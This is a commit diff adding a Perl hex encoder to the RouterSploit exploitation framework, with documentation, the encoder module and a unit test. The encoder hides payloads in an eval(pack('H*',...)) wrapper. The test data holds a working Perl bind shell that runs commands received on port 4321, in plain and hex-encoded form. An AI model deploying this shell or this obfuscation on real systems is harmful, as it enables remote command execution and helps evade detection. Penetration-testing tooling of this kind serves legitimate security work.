Adding Perl Hex Encoder (#484)

* Bump v3.2.0

* Adding Perl Hex Encoder

docs/modules/encoders/perl/hex.md

+## Description
+
+Module encodes Perl payload to hex format. 
+
+## Verification Steps
+
+  1. Start `./rsf.py`
+  2. Do: `use encoders/perl/hex`
+  3. Do: `show info`
+
+## Scenarios
+
+```
+rsf > use encoders/perl/hex
+rsf (Perl Hex Encoder) > show info
+
+Name:
+Perl Hex Encoder
+
+Description:
+Module encodes PERL payload to Hex format.
+
+Authors:
+-  Marcin Bury <marcin[at]threat9.com>
+```

routersploit/modules/encoders/perl/hex.py

+from routersploit.core.exploit.encoders import BaseEncoder
+from routersploit.core.exploit.payloads import Architectures
+
+
+class Encoder(BaseEncoder):
+    __info__ = {
+        "name": "Perl Hex Encoder",
+        "description": "Module encodes PERL payload to Hex format.",
+        "authors": (
+            "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
+        ),
+    }
+
+    architecture = Architectures.PERL
+
+    def encode(self, payload):
+        encoded_payload = bytes(payload, "utf-8").hex()
+        return "eval(pack('H*','{}'));".format(encoded_payload)

tests/encoders/perl/test_hex.py

+from routersploit.modules.encoders.perl.hex import Encoder
+
+
+# perl bind tcp payload with rport=4321
+bind_tcp = (
+    "use IO;foreach my $key(keys %ENV){" +
+    "if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort," +
+    "4321" +
+    ",Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){" +
+    "if($_=~ /(.*)/){system $1;}};"
+)
+
+# perl bind tcp payload with rport=4321 encoded with perl/hex
+bind_tcp_encoded = (
+    "eval(pack('H*','75736520494f3b666f7265616368206d7920246b6579286b6579732025454e56297b69662824454e567b246b65797d3d7e2f282e2a292f297b24454e567b246b65797d3d24313b7d7d24633d6e657720494f3a3a536f636b65743a3a494e4554284c6f63616c506f72742c343332312c52657573652c312c4c697374656e292d3e6163636570743b247e2d3e66646f70656e2824632c77293b535444494e2d3e66646f70656e2824632c72293b7768696c65283c3e297b696628245f3d7e202f282e2a292f297b73797374656d2024313b7d7d3b'));"
+)
+
+
+def test_payload_encoding():
+    """ Test scenario - payload encoding """
+
+    encoder = Encoder()
+    assert encoder.encode(bind_tcp) == bind_tcp_encoded